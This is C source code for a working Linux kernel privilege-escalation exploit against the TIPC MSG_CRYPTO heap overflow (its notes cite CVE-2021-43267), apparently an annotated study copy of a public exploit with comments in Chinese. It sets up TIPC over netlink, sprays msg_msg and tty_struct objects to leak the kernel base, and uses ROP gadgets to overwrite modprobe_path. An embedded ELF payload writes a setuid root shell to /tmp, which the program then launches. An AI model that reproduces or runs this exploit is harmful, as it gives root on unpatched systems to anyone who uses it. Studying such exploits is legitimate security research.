// https://haxx.in/files/blasty-vs-tipc.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdarg.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <unistd.h>
#include <linux/netlink.h>

#define PTM_UNIX98_OPS 0x127e2e0 // \__ no exported syms, look for xref to str  ffffffff8227e2e0 r ptm_unix98_ops
#define PTS_UNIX98_OPS 0x127e1c0 // /   `Couldn't allocate Unix98 ptm driver`   ffffffff8227e1c0 r pty_unix98_ops
#define MODPROBE_PATH  0x164eaa0 // has symbol      ffffffff81092730 T __request_module    0xffffffff8264eaa0 <modprobe_path>:	"/sbin/modprobe"
#define BRIDGING_GADGET 0x702b00    // ffffffff81702b00 T regcache_mark_dirty
#define POP_RDI_RET    0x13e8     // 0xffffffff810013e8: pop rdi; ret;
#define GADGET_WRITE32 0xef6f5  // 31 c0 48 89 32 c3   // 0xffffffff810ef6f5
#define GADGET_RET     0xef6f8  // c3                  // 0xffffffff810ef6f8 

#define PUSH_RBP_POP_RSP 0x406a6       // 0xffffffff810406a6: push rbp; or byte ptr [rbp + 0x41], bl; pop rsp; ret;
#define ADD_RSP_0x48   0x7adf1          // 0xffffffff8107adf1: add rsp, 0x48; ret;
char *bind_ip = "192.168.21.0";                   // should change according to your ip

// good numbers
#define KEY_SIZE       956          // 0x3bc
#define MSG_COUNT      2048
#define BODY_SIZE      976          // 0x3d0
#define SMASH_SIZE     32
#define TRIES_MAX      8
#define NEXT_OFFSET    0x8000

// some constants
#define NODE_ID        0x11223344
#define MTYPE          0xAB /* Ac1db34v3rz */
#define SPRAY_TTY_CNT  0x40
#define TTY_MAGIC      0x5401
#define TIPC_UDP_PORT  6118
#define MSG_COPY       040000

// TIPC crap
#define TIPC_VERSION   2

// user messages
#define LINK_PROTOCOL  7
#define LINK_CONFIG    13

// message types
#define STATE_MSG      0
#define RESET_MSG      1
#define ACTIVATE_MSG   2
#define MSG_CRYPTO     14

// media types
#define MEDIA_TYPE_UDP 3

// w0
#define hdr_msg_size(v) ((v) & 0x1ffff)
#define hdr_size(v) ((v & 0xf) << 21)
#define hdr_user(v) ((v & 0xf) << 25)
#define hdr_nonseq(v) ((v & 1) << 20)
#define hdr_version(v) ((v & 7) << 29)

// w1
#define hdr_msg_type(v) ((v & 7) << 29)

// w2
#define hdr_link_level_seq(v) (v & 0xffff)

// w4
#define hdr_next_send_pkt(v) (v & 0xffff)

// w5
#define hdr_media_id(v) (v & 0xff)
#define hdr_session_number(v) ((v & 0xffff) << 16)

// prototypes
struct message_t {
    long type;
    uint8_t body[BODY_SIZE];
};

// globals
int g_sockfd = 0;
struct sockaddr_in g_sockaddr;

// utility
#define info(fmt, args...) report('$', false, fmt, ## args)
#define infov(fmt, args...) report('~', false, fmt, ## args)
#define maybe(fmt, args...) report('?', false, fmt, ## args)
#define fatal(fmt, args...) report('!', true, fmt, ## args)
#define info_value64(name, value) infov("%-24s: %016lx", name, value)

void report(char indicator, bool error, const char *fmt, ...) {
    FILE *stream = (error) ? stderr : stdout;
    va_list a;
    va_start(a, fmt);       // VA_LIST 是在C语言中解决变参问题的一组宏，变参问题是指参数的个数不定，可以是传入一个参数也可以是多个 https://www.cnblogs.com/qiwu1314/p/9844039.html
    fprintf(stream, "[%c] %s", indicator, (error) ? "ERROR: " : "");
    vfprintf(stream, fmt, a);
    fprintf(stream, "\n");
    va_end(a);

    if (error) {
        exit(-1); // all errors are fatal
    }
}

static inline void write64(uint8_t *p, uint64_t v) {
    *(uint64_t*)(p) = v;
}

static inline uint64_t read64(uint8_t *p) {
    return *(uint64_t*)(p);
}

#define be32 htonl

// netlink_send() —— 通过 netlink 来发送tipc包, 请求或配置tipc
int netlink_send(
    uint16_t type, uint16_t flags, uint32_t seq, 
    uint8_t* pkt, size_t pkt_len,
    uint8_t **reply_buf, size_t *reply_sz
) {
    int sock_fd;
    struct sockaddr_nl sa;
    memset(&sa, 0, sizeof(struct sockaddr_nl));
    sa.nl_family = AF_NETLINK;

    size_t pkt_full_len = sizeof(struct nlmsghdr) + pkt_len;        // 设置 *pkt_full ->  (nlmsghdr头 + pkt 数据包), 然后调用 sendto 发送
    uint8_t *pkt_full = malloc(pkt_full_len);
    memset(pkt_full, 0, pkt_full_len); 
    memcpy(pkt_full + sizeof(struct nlmsghdr), pkt, pkt_len);

    struct nlmsghdr *netlink_hdr = (struct nlmsghdr*)(pkt_full);
    netlink_hdr->nlmsg_len = pkt_full_len;
    netlink_hdr->nlmsg_type = type;
    netlink_hdr->nlmsg_flags = flags;
    netlink_hdr->nlmsg_seq = seq;
    netlink_hdr->nlmsg_pid = getpid();

    if ((sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_GENERIC)) < 0) {
        perror("socket");
        return -1;
    }

    if (bind(sock_fd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
        perror("bind");
        return -1;
    }

    ssize_t r = sendto(
        sock_fd, pkt_full, pkt_full_len, 0, 
        (struct sockaddr*)&sa, sizeof(struct sockaddr_nl)
    );

    if (r < 0) {
        perror("sendto");
        return -1;
    }

    free(pkt_full);

    if (reply_buf != NULL) {                        // 设置  user_msghdr 结构, 并调用 recvmsg() 接收数据, 然后将数据部分存入 *reply_buf 指向的堆块, 返回
        struct msghdr m;  
        memset(&m, 0, sizeof(struct msghdr));
        m.msg_iovlen = 1;
        m.msg_iov = malloc(sizeof(struct iovec));
        m.msg_iov->iov_base = malloc(0x1000);
        m.msg_iov->iov_len = 0x1000;

        size_t nread;

        if ((nread = recvmsg(sock_fd, &m, 0)) < 0) 
            goto error;

        if (m.msg_iovlen != 1)
            goto error;

        *reply_sz = nread;
        *reply_buf = malloc(*reply_sz);
        memcpy(*reply_buf, m.msg_iov->iov_base, *reply_sz);     // 将 recvmsg() 接收的数据拷贝到 *reply_buf 指向的堆块
        free(m.msg_iov->iov_base);
    }

    close(sock_fd);
    return 0;

error:
    close(sock_fd);
    return -1;
}
// netlink_enable_tipc_udp() —— 发送tipc请求包和tipc udp使能包
int netlink_enable_tipc_udp(char *str_ip_address) {
    uint8_t pkt_ctrl[]={
        0x03, 0x01, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, 
        0x10, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x02, 0x00, 
        0x54, 0x49, 0x50, 0x43, 0x76, 0x32, 0x00, 0x00
    };

    uint8_t *nl_reply;
    size_t nl_reply_len = 0;
    uint32_t ip_addr;
    uint32_t seq;
    int r;

    seq = time(NULL);
    ip_addr = inet_addr(str_ip_address);
    if (ip_addr == INADDR_NONE) 
        fatal("invalid ip address given");

    r = netlink_send(                                           // （1）通过nelink发送tipc 请求包
        NLMSG_MIN_TYPE, (NLM_F_REQUEST | NLM_F_ACK), seq,
        pkt_ctrl, sizeof(pkt_ctrl), &nl_reply, &nl_reply_len
    );

    if(r < 0) 
        fatal("failed to send netlink control message.");
    if (nl_reply_len == 0) 
        fatal("did not get netlink control message reply.");

    if (*(uint32_t*)(nl_reply + 0x10) == 0xfffffffe)
        fatal("tipc support not available.");

    uint16_t nlmsg_type = 0;
    off_t pos = 0x14;

    while(pos < nl_reply_len - 4) {                                 // 从接收数据nl_reply中找到 nlmsg_type = *(uint16_t*)(nl_reply + pos + 4) = *(&nlattr + 4)
        struct nlattr *attr = (struct nlattr*)(nl_reply + pos);
        if (attr->nla_type == 1) {
            nlmsg_type = *(uint16_t*)(nl_reply + pos + 4);
            break;
        }
        pos += attr->nla_len;
        if ((attr->nla_len % 4) != 0) 
            pos += 4 - (attr->nla_len % 4);                         // 对齐
    }

    if (nlmsg_type == 0) 
        fatal("could not find tipc netlink message type.");

    uint8_t pkt_tipc_enable_udp[]={
        0x03, 0x01, 0x00, 0x00, 0x40, 0x00, 0x01, 0x80,
        0x0d, 0x00, 0x01, 0x00, 0x75, 0x64, 0x70, 0x3a,
        0x55, 0x44, 0x50, 0x31, 0x00, 0x00, 0x00, 0x00,
        0x2c, 0x00, 0x04, 0x80, 0x14, 0x00, 0x01, 0x00,
        0x02, 0x00, 0x17, 0xe6, 0x00, 0x00, 0x00, 0x00, // <-- +0x24 = ip
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x14, 0x00, 0x02, 0x00, 0x02, 0x00, 0x17, 0xe6,
        0xe4, 0x00, 0x12, 0x67, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00
    };

    *(uint32_t*)(pkt_tipc_enable_udp + 0x24) = ip_addr;

    r = netlink_send(                                       // （2）通过nelink发送tipc udp 使能包
        nlmsg_type, (NLM_F_REQUEST | NLM_F_ACK), seq, 
        pkt_tipc_enable_udp, sizeof(pkt_tipc_enable_udp), NULL, NULL
    );

    if (r < 0) 
        fatal("failed to send netlink tipc udp enable message.");

    // the right way is to read back a netlink reply and check if this worked..
    // I chose to go with the scientifically proven method of big chillin'
    sleep(2);

    return 0;
}

// tipc packet routines   gen_tipc_hdr() —— 构造 tipc 消息头 (tipc_msg 结构)
void gen_tipc_hdr(
    uint8_t *o,
    uint32_t w0, uint32_t w1, uint32_t w2, 
    uint32_t w3, uint32_t w4, uint32_t w5
) {
    uint32_t* o32 = (uint32_t*)o;
    o32[0] = be32(w0);
    o32[1] = be32(w1);
    o32[2] = be32(w2);
    o32[3] = be32(w3);
    o32[4] = be32(w4);
    o32[5] = be32(w5);
}

ssize_t tipc_send(uint8_t *buf, size_t sz) {
    return sendto(
        g_sockfd, buf, sz, 0, (struct sockaddr*)&g_sockaddr, sizeof(g_sockaddr)
    );
}
// tipc_discover() —— 发送 LINK_CONFIG tipc 包, 广告自己
void tipc_discover() {
    uint32_t w0, w1, w2, w3, w4, w5;
    uint8_t pkt[24];                // tipc 消息头 (tipc_msg 结构, 最大为64字节), 头部占24字节
    w0 = 0;
    w0 |= hdr_version(TIPC_VERSION);
    w0 |= hdr_size(6);              // hsz 表示 6 个 4 字节
    w0 |= hdr_msg_size(24);
    w0 |= hdr_user(LINK_CONFIG);    // LINK_CONFIG 包
    w0 |= hdr_nonseq(1);
    w1 = 0;
    w2 = 0;
    w3 = NODE_ID;
    w4 = 0x1267;
    w5 = hdr_media_id(MEDIA_TYPE_UDP);
    gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);
    tipc_send(pkt, sizeof(pkt));
}
// tipc_link_state_a() —— 发送 RESET_MSG tipc 包, 重置link
void tipc_link_state_a(uint32_t ip) {
    uint8_t pkt[56];
    uint32_t *body = (uint32_t*)(pkt + 24); // tipc 消息主体位于偏移24处, 消息占 56-24=32 字节
    uint32_t w0, w1, w2, w3, w4, w5;

    memset(pkt, 0, sizeof(pkt));

    w0 = hdr_version(TIPC_VERSION);
    w0 |= hdr_size(10);                     // hsz 表示 10 个 4 字节
    w0 |= hdr_user(LINK_PROTOCOL);
    w0 |= hdr_msg_size(56);
    w1 = hdr_msg_type(RESET_MSG);           // RESET_MSG 包
    w2 = hdr_link_level_seq(0x8000);
    w3 = NODE_ID;
    w4 = hdr_next_send_pkt(1);
    w5 = hdr_session_number(50388);
    gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);

    int pos = 0;
    body[pos++] = be32(NODE_ID);
    body[pos++] = be32(ip);
    body[pos++] = 0;
    body[pos++] = be32(3500 << 16);
    memcpy(body + 4, "UDP1", 4);
    tipc_send(pkt, sizeof(pkt));
}
// tipc_link_state_b() —— 发送 STATE_MSG tipc 包, 提出link
void tipc_link_state_b(uint32_t ip) {
    uint8_t pkt[44];
    uint32_t w0, w1, w2, w3, w4, w5;
    uint32_t *body = (uint32_t*)(pkt + 24); // tipc 消息主体位于偏移24处, 消息占 44-24=20 字节

    memset(pkt, 0, sizeof(pkt));

    w0 = hdr_version(TIPC_VERSION);
    w0 |= hdr_size(10);                     // hsz 表示 10 个 4 字节
    w0 |= hdr_user(LINK_PROTOCOL);
    w0 |= hdr_msg_size(44);
    w1 = hdr_msg_type(STATE_MSG);           // STATE_MSG 包
    w2 = hdr_link_level_seq(1);
    w3 = NODE_ID;
    w4 = hdr_next_send_pkt(1);
    w5 = hdr_session_number(50388);

    gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);

    int pos = 0;
    body[pos++] = be32(NODE_ID);
    body[pos++] = be32(ip);
    body[pos++] = 0; // timestamp
    body[pos++] = 0; // max pkt/link tolerance
    body[pos++] = 0; // bearer instance
    tipc_send(pkt, sizeof(pkt));
}
// tipc_link_setup() —— 创建有效的node link: 发送 LINK_CONFIG / LINK_PROTOCOL / LINK_PROTOCOL 包, 来广告自己 / 重置link / 提出link
int tipc_link_setup(char *host) {
    if ((g_sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
        perror("socket");
        return -1;
    }

    memset((char *) &g_sockaddr, 0, sizeof(g_sockaddr));
    g_sockaddr.sin_family = AF_INET;
    g_sockaddr.sin_port = htons(TIPC_UDP_PORT);

    if (inet_aton(host, &g_sockaddr.sin_addr) == 0) {       // 将一个字符串IP地址转换为一个32位的网络序列IP地址
        perror("inet_aton");
        return -1;
    }

    tipc_discover();                            // (1) 发送 LINK_CONFIG tipc 包, 广告自己
    tipc_link_state_a(be32(inet_addr(host)));   // (2) 发送 RESET_MSG tipc 包, 重置link           // inet_addr() —— 将一个点分十进制的IP转换成一个长整数型数（u_long类型）
    tipc_link_state_b(be32(inet_addr(host)));   // (3) 发送 STATE_MSG tipc 包, 提出link

    return 0;
}
// setup_modprobe_hax() —— 创建 /tmp/benign 错误elf文件, 触发modprobe; 创建 /tmp/hax 提权文件
int setup_modprobe_hax() {
    // small ELF file matroshka doll that does;
    //   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
    //   write(fd, elfcode, elfcode_len)
    //   chmod("/tmp/sh", 04755)
    //   close(fd);
    //   exit(0);
    //
    // the dropped ELF simply does:
    //   setuid(0);
    //   setgid(0);
    //   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
    unsigned char elfcode[] = {
        0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
        0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
        0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
        0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
        0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
        0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
        0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
        0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
        0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
        0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
        0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
        0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    };

    FILE *fp;

    fp = fopen("/tmp/benign", "wb");
    if (fp == NULL) {
        perror("fopen");
        return -1;
    }

    if (fwrite("\xff\xff\xff\xff", 4, 1, fp) < 1) {
        perror("fwrite");
        return -1;
    }
    fclose(fp);

    fp = fopen("/tmp/hax", "wb");
    if (fp == NULL) {
        perror("fopen");
        return -1;
    }

    if (fwrite(elfcode, sizeof(elfcode), 1, fp) < 1) {
        perror("fwrite");
        return -1;
    }
    fclose(fp);

    if (chmod("/tmp/benign", 0777) < 0) {
        perror("chmod");
        return -1;
    }

    if (chmod("/tmp/hax", 0777) < 0) {
        perror("chmod");
        return -1;
    }

    return 0;
}
// tipc_trigger() —— 构造 tipc 消息触发 tipc 漏洞
void tipc_trigger(uint8_t *smashbuf, uint32_t smashlen, int seqno) {
    uint8_t pkt[0x1000];
    uint32_t w0, w1, w2, w3, w4, w5;

    w0 = hdr_version(TIPC_VERSION);
    w0 |= hdr_size(6);                      // hsz 表示 6 个 4 字节
    w0 |= hdr_user(MSG_CRYPTO);             // MSG_CRYPTO 消息
    w0 |= hdr_msg_size(24 + 36 + KEY_SIZE); // tipc包总大小msz: 24 + 36 + 956 = 1016;   MSG_CRYPTO消息的实际分配大小: skey_size = msz-hsz = 36 + 956 = 992; (头部36字节+key长度)    所以 KEY_SIZE+SMASH_SIZE = 956 + 32 即可越界
    w1 = 0;
    w2 = seqno;
    w3 = NODE_ID;
    w4 = 0;
    w5 = 0;

    memset(pkt, 0, sizeof(pkt));
    gen_tipc_hdr(pkt, w0, w1, w2, w3, w4, w5);

    memcpy(pkt+24, "HAXX", 4);                                          // char alg_name[32]
    *(uint32_t*)(pkt+24+32) = be32(KEY_SIZE + SMASH_SIZE + smashlen);   // keylen_real = 956 + 32 + 0x20 = 988 +0x20    MSG_CRYPTO 消息的实际大小为 (36 + KEY_SIZE + SMASH_SIZE + smashlen) = (36 + 956 + 32 + 0x20) = 1024
    memset(pkt+24+36, 'C', KEY_SIZE);                                   // 填充
    memset(pkt+24+36+KEY_SIZE, 'D', SMASH_SIZE);                        // 填充
    memcpy(pkt+24+36+KEY_SIZE + SMASH_SIZE, smashbuf, smashlen);        // smashbuf —— 伪造 msg_msg 或 tty_struct
    tipc_send(pkt, sizeof(pkt));
}

int main() {
    uint64_t pty_ops = 0;
    uint64_t mybuf = 0;
    uint64_t kernel_base = 0;

    uint8_t fake_tty[0x20];
    uint8_t peekbuf[0x2000];

    int peek_cnt = 1;
    int seqno=0;

    int tty_fds[SPRAY_TTY_CNT];
    int queue_id[MSG_COUNT];
    int queue_id_final = 0;

    struct message_t dummy;
    dummy.type = MTYPE;
    memset(dummy.body, 0x58, BODY_SIZE);
// 1. 使能 UDP bearer media: 发送tipc请求包和tipc udp使能包
    info("enabling tipc udp media");
    if (netlink_enable_tipc_udp(bind_ip) < 0) 
        fatal("failed to enable tipc udp media");
// 2. 创建有效的node link: 发送 LINK_CONFIG / LINK_PROTOCOL / LINK_PROTOCOL 包, 来广告自己 / 重置link / 提出link
    info("establish tipc link");
    if (tipc_link_setup(bind_ip) < 0) 
        fatal("failed to establish tipc link");
// 3. 创建 /tmp/benign 错误elf文件, 触发modprobe; 创建 /tmp/hax 提权文件, modprobe_path 将指向 "/tmp/hax"
    info("installing helpers");
    if (setup_modprobe_hax() < 0) 
        fatal("failed to setup helpers");
// 4. 堆喷布置2048个 msg_msg 消息, 释放偶数下标的 msg_msg
// 4-1. 创建 msg 消息队列
    info("create messages queues");
    if ((queue_id_final = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
        perror("msgget");
        fatal("failed to create message queue");
    }

    for(int i = 0; i < MSG_COUNT; i++) {
        if ((queue_id[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
            perror("msgget");
            fatal("failed to create message queue %d", i);
        }
    }
// 4-2. 堆喷 2048 个 msg_msg 消息, 消息长度0x3d0, 使msg_msg消息位于kmalloc-1024, 0x400
    info("spray messages");
    for(int i = 0; i < MSG_COUNT; i++) {
        if (msgsnd(queue_id[i], (void*)&dummy, BODY_SIZE, 0) < 0) {
            perror("msgsnd");
            fatal("failed to create message in queue %d", i);
        }
    }
// 4-3. 释放偶数下标的消息, 使漏洞对象占据
    info("poking holes");
    for(int i = 0; i < MSG_COUNT; i += 2) {
        if(msgrcv(queue_id[i], (void*)&dummy, BODY_SIZE, MTYPE, 0) < 0) {
            perror("msgrcv");
            fatal("failed to peek message in queue %d", i);
        }
    }
// 5. 触发tipc漏洞，泄露内核基址
// 5-1. 触发 tipc 漏洞, 篡改 msg_msg->m_ts
    info("tipc bug trigger");
    uint64_t hacked_msg[4]={
        0,      // m_list.prev
        0,      // m_list.next
        MTYPE,  // m_type
        0x2000, // m_ts
    };
    tipc_trigger((uint8_t*)hacked_msg, 0x20, ++seqno);
// 5-2. 喷射 0x40 个 tty_struct 结构，便于越界读泄露 
    info("spraying tty_struct\n");
    for(int i = 0; i < SPRAY_TTY_CNT; i++) {
        if ((tty_fds[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0) 
            fatal("failed to spray tty_struct %d/%d", i, MSG_COUNT);
    }
// 5-3. msg_msg 越界读泄露 tty_struct->ops
    for(int i = MSG_COUNT-1; i > 0; i--, peek_cnt++) {
        int r = msgrcv(queue_id[i], (void*)peekbuf, 0x2000, 0, MSG_COPY | IPC_NOWAIT);

        if (r < 0 || r == BODY_SIZE)        // r == BODY_SIZE 表示 msg_msg->m_ts 没有被成功篡改
            continue;
        // 5-3-1. 成功篡改 msg_msg->m_ts
        info("we corrupted a msg_msg size field! (took %d peeks)\n", peek_cnt);

        for(int j = 0; j < r; j += 4) {
            if (*(uint32_t*)(peekbuf + j) != TTY_MAGIC) 
                continue;
        // 5-3-2. 成功在 msg_msg 后面布置 tty_struct, 泄露内核地址
            info("found tty_struct at offset 0x%x", j);
            pty_ops = read64(peekbuf + j + 0x18);           // tty_struct->ops
            mybuf = read64(peekbuf + j + 0x40) - 0x408;     // &tty_struct = tty_struct->ldisc_sem->read_wait->next - 0x38  //!!!!  $ p/x &(*(struct tty_struct *)0)->ldisc_sem->read_wait->next    0x38    // 减去0x408就是msg_msg数据基址

            info_value64("pty_ops", pty_ops);
            info_value64("our buffer", mybuf);
        // 5-3-3. 篡改 tty_struct->ops = &tty_struct+0x8000     指向可控的某个&msg_msg, 往后数第32个
            memcpy(fake_tty, peekbuf + j, 0x20);
            write64(fake_tty + 0x18, mybuf + NEXT_OFFSET);
        // 5-3-4. 分2种情况计算内核基址
            // did we hit a master of slave ops ptr?
            switch(pty_ops & 0xfff) {
                case PTM_UNIX98_OPS & 0xfff:
                    kernel_base = pty_ops - PTM_UNIX98_OPS;
                break;

                case PTS_UNIX98_OPS & 0xfff:
                    kernel_base = pty_ops - PTS_UNIX98_OPS;
                break;

                default:
                    fatal("this should never happen tbh");
                break;
            }

            info_value64("kernel base", kernel_base);
            break;
        }
        if (pty_ops != 0)
            break;
        else
            info("too bad, tty_struct didnt follow corrupted msg_msg.");
    }

    if (pty_ops == 0) {
        for(int i = 0; i < SPRAY_TTY_CNT; i++)
            close(tty_fds[i]);
        fatal("infoleak failed. try again?");
    }

    info_value64("modprobe_path", kernel_base + MODPROBE_PATH);
// 6. 篡改 tty_struct->ops.ioctl 指针, 并篡改 modprobe_path 为 "/tmp/hax"
// 6-1. 伪造 msg_msg, 偏移0x60 (tty_operations->ioctl) 处放置任意写 gadget
    dummy.type = MTYPE;
    for(int i = 0; i < BODY_SIZE; i+=8) 
        write64(dummy.body + i, kernel_base + GADGET_RET);
    write64(dummy.body + 0x60, kernel_base + GADGET_WRITE32);       // GADGET_WRITE32 tty_operations->ioctl 指针位于 &tty_operations+0x60 处
// 6-2. 喷射2048个 msg_msg, 也即伪造的 tty_operations 函数表
    info("spray fake pty ops vtable");
    for(int i = 0; i < MSG_COUNT; i++)
        for(int j = 0; j < 8; j++)
            if (msgsnd(queue_id[i], (void*)&dummy, BODY_SIZE, 0) < 0) {
                perror("msgsnd");
                fatal("failed to create message %d", i);
            }

    int hacked = 0;
// 6-3. 篡改 tty_struct->ops.ioctl 指针, 并篡改 modprobe_path 为 "/tmp/hax"
    dummy.type = MTYPE;
    for(int try = 0; try < TRIES_MAX; try++) {
        info("attempting to corrupt tty_struct (try %d)", try);
    // 6-3-1. create msg_msg
        if (msgsnd(queue_id_final, (void*)&dummy, BODY_SIZE, 0) < 0) {
            perror("msgsnd");
            fatal("failed to create message");
        }
    // 6-3-2. tty_struct follows msg_msg
        if ((tty_fds[0] = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0)
            fatal("failed to alloc tty_struct");
    // 6-3-3. free msg_msg
        if(msgrcv(queue_id_final, (void*)&dummy, BODY_SIZE, MTYPE, 0) < 0) {
            perror("msgrcv");
            fatal("failed to receive message");
        }
    // 6-3-4. take up msg_msg, overflow and change tty_struct->ops     返回0表示篡改成功
        tipc_trigger(fake_tty, 0x20, ++seqno);
    // 6-3-5. change *modprobe_path = "/tmp/hax"
        int r = 0;
        r = ioctl(tty_fds[0], 0x706d742f, kernel_base + MODPROBE_PATH);
        if (1) {
            info("maybe I have some good news..");
            r = ioctl(tty_fds[0], 0x7861682f, kernel_base + MODPROBE_PATH + 4);
            hacked = 1;
            break;
        } else 
            close(tty_fds[0]);
    }

    if (!hacked) 
        fatal("hacking computer failed.");
// 7. 执行 /tmp/hax 触发modprobe并提权
    info("triggering modprobe\n");
    system("/tmp/benign");
    sleep(1);

    info("popping shell\n");
    system("/tmp/sh");

    for(int j = 0; j < SPRAY_TTY_CNT; j++) 
        close(tty_fds[j]);

    return 0;
}

/*
(1) 找 write gadget  
问题是都含有 pop rbp 或 shr rdx, 4
cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx\], rsi"
cat ./g1 | grep "mov dword ptr \[rdx\], rsi"
cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], esi"
cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], rsi"
cat ./g1 | grep "mov dword ptr \[rdx +" | grep "], rsi"
cat ./g1 | grep "mov dword ptr \[rdx +" | grep "], esi"

含 xor eax, eax 的都用不了
john@ubuntu:~/Desktop/tmp/CVE-2021-43267$ cat ./g1 | grep "xor eax, eax" | grep "mov dword ptr \[rdx +" | grep "], esi"   
0xffffffff81bd7053: add byte ptr [rbp - 0x7576feb8], cl; mov eax, 0x48000000; mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret; 
0xffffffff81bd7058: mov bh, byte ptr [rax + 0x48000000]; mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret; 
0xffffffff81023744: mov dword ptr [rdx + 0x10], esi; mov qword ptr [rcx + rax*8], rdi; xor eax, eax; pop rbp; ret; 
0xffffffff81bd705e: mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret; 
0xffffffff814e724c: mov dword ptr [rdx + rax*8], esi; mov rbp, rsp; xor eax, eax; pop rbp; ret; 
0xffffffff81bd7059: mov eax, 0x48000000; mov dword ptr [rdx + rax*8 + 0xe0], esi; xor eax, eax; pop rbp; ret; 
0xffffffff81023742: mov ebp, esp; mov dword ptr [rdx + 0x10], esi; mov qword ptr [rcx + rax*8], rdi; xor eax, eax; pop rbp; ret; 
